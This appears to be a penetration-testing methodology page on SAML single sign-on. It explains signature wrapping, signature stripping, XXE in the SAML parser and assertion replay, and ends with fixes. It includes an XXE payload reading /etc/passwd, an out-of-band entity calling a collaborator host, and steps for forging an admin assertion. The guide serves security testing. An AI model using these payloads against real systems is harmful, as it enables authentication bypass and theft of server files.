Learn how to test SAML single sign-on for security flaws: decode and understand the assertion, then test XML Signature Wrapping (XSW), signature stripping, XXE in the SAML parser, and recipient/audience confusion. Step-by-step methodology with examples.
SAML assertions ride in a base64-encoded (often also DEFLATE-compressed) SAMLResponse parameter. Intercept the login flow, capture the SAMLResponse, and decode it to readable XML so you can see the Issuer, Subject (NameID), Conditions (audience/expiry), and where the <Signature> sits relative to the <Assertion>. The SAML Analyzer decodes and pretty-prints the assertion for you.
echo "$SAMLResponse" | base64 -d # HTTP-POST binding
base64 -d | python3 -c "import sys,zlib;print(zlib.decompress(sys.stdin.buffer.read(),-15))" # Redirect binding
Map: Issuer, NameID, Conditions/@NotOnOrAfter, AudienceRestriction, Signature location
XSW exploits a gap between the element the signature covers and the element the application actually reads. Inject a second, attacker-controlled assertion (or move the original) so the parser validates the legitimate signed element but consumes your forged one. Try the common XSW variants — wrapped original in an unsigned parent, forged assertion before/after the signed one.
Clone <Assertion>, give the forged copy a new ID, change the NameID to admin
Place the signed (original) assertion inside an <Extensions> or wrapper element
Vary order: forged-before-signed vs forged-after-signed; vary ID references
Some service providers accept assertions when the signature is absent, malformed, or set to a weak/none algorithm — especially when validation is misconfigured to "optional". Remove the <Signature> entirely, break it, or downgrade the SignatureMethod, then submit a tampered NameID and see if the SP still authenticates you.
Delete the <ds:Signature> block, tamper NameID, resubmit
Corrupt one byte of <ds:SignatureValue> and check if it is still accepted
Tamper an attribute (e.g. role/group) and confirm whether it is signed
SAML is XML, so the response parser may be vulnerable to XML External Entity injection if it resolves DOCTYPE/entities before signature validation. Inject an external entity into the decoded response to test for file read or SSRF via the IdP-to-SP message. Use an out-of-band collaborator to catch blind XXE callbacks.
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<!ENTITY % oob SYSTEM "http://YOUR-COLLABORATOR/saml"> %oob; # blind/OOB
Place the entity reference in a NameID or attribute value, re-sign if required
Check whether the SP enforces Recipient, AudienceRestriction, NotOnOrAfter, and InResponseTo. Replay an assertion minted for a different SP, an expired assertion, or one with a mismatched audience; if accepted, the SP is not pinning the assertion to itself (the class of flaw behind token-replay and "Golden SAML"). Document each accepted manipulation with the exact assertion and the control that failed.
Replay an assertion with a different AudienceRestriction
Submit an expired assertion (NotOnOrAfter in the past)
Fix: validate signature first, pin Audience+Recipient, reject DOCTYPE, enforce expiry
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides